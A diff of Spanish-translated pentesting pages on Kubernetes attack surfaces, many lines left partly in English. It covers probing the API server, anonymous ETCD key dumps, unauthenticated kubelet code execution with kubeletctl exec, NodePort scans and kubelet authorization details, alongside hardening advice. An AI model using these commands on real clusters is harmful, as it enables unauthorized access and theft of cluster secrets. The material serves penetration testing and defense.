```bash
@@ -61,7 +61,7 @@ curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Revisa la siguiente página para aprender cómo obtener datos sensibles y realizar acciones sensibles hablando con este servicio:**
**Consulta la siguiente página para aprender cómo obtener datos sensibles y realizar acciones sensibles hablando con este servicio:**
{{#ref}}
../kubernetes-enumeration.md
@@ -69,7 +69,7 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
Este servicio **se ejecuta en cada nodo del cluster**. Es el servicio que **controlará** los pods dentro del **nodo**. Se comunica con el **kube-apiserver**.
Este servicio **se ejecuta en cada nodo del cluster**. Es el servicio que **controlará** los pods dentro del **nodo**. Habla con el **kube-apiserver**.
Si encuentras este servicio expuesto, podrías haber encontrado una **RCE sin autenticación**.
@@ -104,25 +104,25 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
Podrías abusar de este servicio para escalar privilegios dentro de Kubernetes:
Podrías abusar de este service para escalar privilegios dentro de Kubernetes:
### cAdvisor
Servicio útil para recopilar métricas.
Service útil para recopilar métricas.
```bash
curl -k https://<IP Address>:4194
```
### NodePort
Cuando un puerto se expone en todos los nodos mediante un **NodePort**, se abre el mismo puerto en todos los nodos, proxificando el tráfico hacia el **Service** declarado. Por defecto, este puerto estará en el **rango 30000-32767**. Así que nuevos servicios no verificados podrían ser accesibles a través de esos puertos.
Cuando un puerto se expone en todos los nodos mediante un **NodePort**, el mismo puerto se abre en todos los nodos proxificando el tráfico hacia el **Service** declarado. Por defecto, este puerto estará en el **rango 30000-32767**. Así que nuevos servicios no comprobados podrían ser accesibles a través de esos puertos.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh and proxy surfaces
Los clústeres que usan **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** añaden otra capa de servicios para enumerar. Un mesh puede proporcionar mTLS, workload identity, L7 routing, authorization policy, telemetry y controles de gateway/egress, pero solo protege el tráfico que realmente está inscrito e interceptado por el mesh.
Los clústeres que usan **Istio, Linkerd, Cilium service mesh, o gateways basados en Envoy** añaden otra capa de servicios para enumerar. Un mesh puede proporcionar mTLS, identidad de workload, routing L7, authorization policy, telemetry y controles de gateway/egress, pero solo protege el tráfico que realmente está inscrito e interceptado por el mesh.
Comprobaciones útiles desde acceso a Kubernetes:
Comprobaciones útiles desde el acceso a Kubernetes:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
@@ -145,31 +145,41 @@ Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicie
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
Useful checks:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
Si las resource APIs devuelven `403`, el API server puede haber clasificado la request como `system:anonymous` pero la authorization la bloqueó. Si las resource APIs devuelven `200` sin credentials, busca RoleBindings o ClusterRoleBindings hacia `system:anonymous` o `system:unauthenticated`, una configuración permisiva de authorizer-chain, o un error de authentication en la front-door.
### **Checking for ETCD Anonymous Access**
ETCD almacena los secretos del cluster, archivos de configuración y más datos **sensibles**. Por **defecto**, ETCD **no puede** accederse **anónimamente**, pero siempre es bueno comprobarlo.
ETCD almacena los cluster secrets, configuration files y más datos **sensitive**. Por **default**, ETCD **no** puede ser accedido **anonymously**, pero siempre es bueno comprobarlo.
Si ETCD puede accederse anónimamente, quizá necesites **usar la** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **herramienta**. El siguiente comando obtendrá todas las keys almacenadas:
Si ETCD puede ser accedido anonymously, quizá necesites **usar la** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. El siguiente comando obtendrá todas las keys almacenadas:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
La [**documentación de Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explica que, por **defecto, el acceso anónimo** al servicio está **permitido:**
La [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explica que, por **default, el acceso anónimo** al servicio **está permitido:**
> Habilita solicitudes anónimas al servidor Kubelet. Las solicitudes que no sean rechazadas por otro método de autenticación se tratan como solicitudes anónimas. Las solicitudes anónimas tienen un nombre de usuario `system:anonymous`, y un nombre de grupo `system:unauthenticated`
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
Para entender mejor cómo funciona la **autenticación y autorización de la API de Kubelet** revisa esta página:
Para entender mejor cómo funciona la **authentication y authorization de la Kubelet API** revisa esta página:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
La **API** del servicio **Kubelet** **no está documentada**, pero el código fuente se puede encontrar aquí y encontrar los endpoints expuestos es tan fácil como **ejecutar**:
El servicio **Kubelet** **API is not documented**, pero el código fuente se puede encontrar aquí y descubrir los endpoints expuestos es tan fácil como **ejecutar**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -183,7 +193,7 @@ Path("/runningpods/").
```
Todos suenan interesantes.
Puedes usar la herramienta [**Kubeletctl**](https://github.com/cyberark/kubeletctl) para interactuar con los Kubelets y sus endpoints.
Puedes usar la herramienta [**Kubeletctl**](https://github.com/cyberark/kubeletctl) para interactuar con Kubelets y sus endpoints.
#### /pods
@@ -198,13 +208,13 @@ Este endpoint permite ejecutar código dentro de cualquier contenedor muy fácil
kubeletctl exec [command]
```
> [!NOTE]
> Para evitar este ataque, el servicio _**kubelet**_ debería ejecutarse con `--anonymous-auth false` y el servicio debería estar segregado a nivel de red.
> Para evitar este ataque, el servicio _**kubelet**_ debe ejecutarse con `--anonymous-auth false` y el servicio debe estar segregado a nivel de red.
### **Comprobando la exposición de información de Kubelet (Read Only Port)**
### **Checking Kubelet (Read Only Port) Information Exposure**
Cuando un **kubelet read-only port** está expuesto, se vuelve posible que partes no autorizadas recuperen información de la API. La exposición de este puerto puede llevar a la divulgación de varios **elementos de configuración del cluster**. Aunque la información, incluidos los **nombres de pod, las ubicaciones de archivos internos y otras configuraciones**, puede no ser crítica, su exposición sigue representando un riesgo de seguridad y debería evitarse.
Cuando un **kubelet read-only port** está expuesto, es posible que partes no autorizadas recuperen información desde la API. La exposición de este puerto puede llevar a la divulgación de varios **cluster configuration elements**. Aunque la información, incluidos **pod names, locations of internal files, and other configurations**, puede no ser crítica, su exposición sigue representando un riesgo de seguridad y debe evitarse.
Un ejemplo de cómo se puede explotar esta vulnerabilidad implica que un atacante remoto acceda a una URL específica. Al navegar a `http://<external-IP>:10255/pods`, el atacante puede potencialmente recuperar información sensible desde el kubelet:
Un ejemplo de cómo puede explotarse esta vulnerabilidad implica que un atacante remoto acceda a una URL específica. Al navegar a `http://<external-IP>:10255/pods`, el atacante puede recuperar información sensible del kubelet:
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
@@ -1,25 +1,25 @@
# Autenticación y Autorización del Kubelet
# Autenticación y autorización de Kubelet
{{#include ../../../banners/hacktricks-training.md}}
## Autenticación del Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Autenticación de Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Por defecto, las solicitudes al endpoint HTTPS del kubelet que no son rechazadas por otros métodos de autenticación configurados se tratan como solicitudes anónimas, y se les asigna un **nombre de usuario `system:anonymous`** y un **grupo `system:unauthenticated`**.
Por defecto, las solicitudes al endpoint HTTPS del kubelet que no son rechazadas por otros métodos de autenticación configurados se tratan como solicitudes anónimas, y se les asigna un **username de `system:anonymous`** y un **group de `system:unauthenticated`**.
Los **3** **métodos** de autenticación son:
Los **3** **methods** de autenticación son:
- **Anonymous** (por defecto): Usar estableciendo el parámetro **`--anonymous-auth=true` o en la configuración:**
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Esto **habilitará** los kubectl **API bearer tokens** como autorización (cualquier token válido será válido). Permítalo con:
- asegúrese de que el grupo de API `authentication.k8s.io/v1beta1` esté habilitado en el API server
- inicie el kubelet con las banderas **`--authentication-token-webhook`** y **`--kubeconfig`** o use la siguiente configuración:
- **Webhook**: Esto **habilitará** los **API bearer tokens** de kubectl como autorización (cualquier token válido será válido). Permitirlo con:
- asegúrate de que el grupo de API `authentication.k8s.io/v1beta1` esté habilitado en el API server
- inicia el kubelet con los flags **`--authentication-token-webhook`** y **`--kubeconfig`** o usa la siguiente configuración:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,11 @@ Los **3** **métodos** de autenticación son:
},
```
> [!NOTE]
> El kubelet llama a la **`TokenReview` API** en el API server configurado para **determinar la información del usuario** a partir de bearer tokens
> The kubelet llama a la **`TokenReview` API** en el API server configurado para **determinar la información del usuario** a partir de bearer tokens
- **X509 client certificates:** Permiten autenticarse mediante X509 client certs
- Consulta la [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) para más detalles
- Inicia el kubelet con la bandera `--client-ca-file`, proporcionando un CA bundle para verificar los certificados de cliente. O con la config:
- **X509 client certificates:** Permiten autenticar mediante X509 client certs
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ Los **3** **métodos** de autenticación son:
}
}
```
## Autorización del Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Cualquier solicitud que se autentique con éxito (incluida una solicitud anónima) **es entonces autorizada**. El modo de autorización **por defecto** es **`AlwaysAllow`**, que **permite todas las solicitudes**.
Cualquier request que se autentique correctamente (incluida una request anónima) **después es autorizado**. El modo de autorización **default** es **`AlwaysAllow`**, que **permite todas las requests**.
Sin embargo, el otro valor posible es **`webhook`** (que es lo que encontrarás más comúnmente). Este modo **comprobará los permisos del usuario autenticado** para permitir o denegar una acción.
Sin embargo, el otro valor posible es **`webhook`** (que es lo que **más probablemente encontrarás**). Este modo **verificará los permisos del usuario autenticado** para permitir o denegar una acción.
> [!WARNING]
> Ten en cuenta que incluso si la **autenticación anónima está habilitada** el **acceso anónimo** podría **no tener permisos** para realizar ninguna acción.
> Ten en cuenta que incluso si la **anonymous authentication está habilitada**, el **anonymous access** podría **no tener ningún permiso** para realizar ninguna acción.
La autorización vía webhook puede configurarse usando el **parámetro `--authorization-mode=Webhook`** o mediante el archivo de configuración con:
La autorización vía webhook se puede configurar usando el **param `--authorization-mode=Webhook`** o mediante el archivo de configuración con:
```json
"authorization": {
"mode": "Webhook",
@@ -59,11 +59,11 @@ La autorización vía webhook puede configurarse usando el **parámetro `--autho
}
},
```
El kubelet llama a la API **`SubjectAccessReview`** en el servidor API configurado para **determinar** si cada solicitud está **autorizada.**
The kubelet llama a la API **`SubjectAccessReview`** en el API server configurado para **determinar** si cada solicitud está **autorizada.**
El kubelet autoriza las solicitudes a la API usando el mismo [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach que el apiserver:
The kubelet autoriza las solicitudes de API usando el mismo enfoque de [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que el apiserver:
- **Acción**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -73,7 +73,7 @@ El kubelet autoriza las solicitudes a la API usando el mismo [request attributes
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
- The **resource** talking to the Kubelet api is **always** **nodes** y **subresource** es **determinado** a partir de la ruta de la solicitud entrante:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
@@ -81,23 +81,38 @@ El kubelet autoriza las solicitudes a la API usando el mismo [request attributes
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
In modern clusters, fine-grained kubelet authorization is enabled by default. Kubernetes v1.36 made this stable: kubelet first checks more specific subresources for paths such as `/pods`, `/runningPods`, `/healthz`, and `/configz` before falling back to `nodes/proxy` for backward compatibility.
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
Use these narrower subresources for monitoring and diagnostics when possible. Avoid granting broad `nodes/proxy` for ordinary metrics, stats, health, pod-listing, or config review because `nodes/proxy` still covers higher-impact kubelet APIs.
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
The kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) is another sensitive kubelet surface. Kubernetes v1.30 made container checkpointing beta and enabled by default, but a request still depends on kubelet authorization and runtime support such as CRI-O or containerd with checkpoint/CRIU capability. Successful checkpoints are written below the kubelet root directory, by default `/var/lib/kubelet/checkpoints`, and can contain process memory with tokens, keys, or application secrets. Restrict `nodes/checkpoint`, disable the old read-only port, limit direct kubelet network reachability, and monitor or clean checkpoint archives if the feature is intentionally used.
For example, the following request tried to access the pods info of kubelet without permission:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Recibimos un **Forbidden**, por lo que la solicitud **superó la verificación de autenticación**. Si no, solo habríamos recibido un mensaje `Unauthorised`.
- Obtenemos un **Forbidden**, así que la petición **pasó la comprobación de Authentication**. Si no, solo habríamos recibido un mensaje de `Unauthorised`.
- Podemos ver el **username** (en este caso desde el token)
- Fíjate cómo el **resource** era **nodes** y el **subresource** **proxy** (lo cual concuerda con la información anterior)
- Comprueba cómo el **resource** era **nodes** y el **subresource** **proxy** (lo cual tiene sentido con la información anterior)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}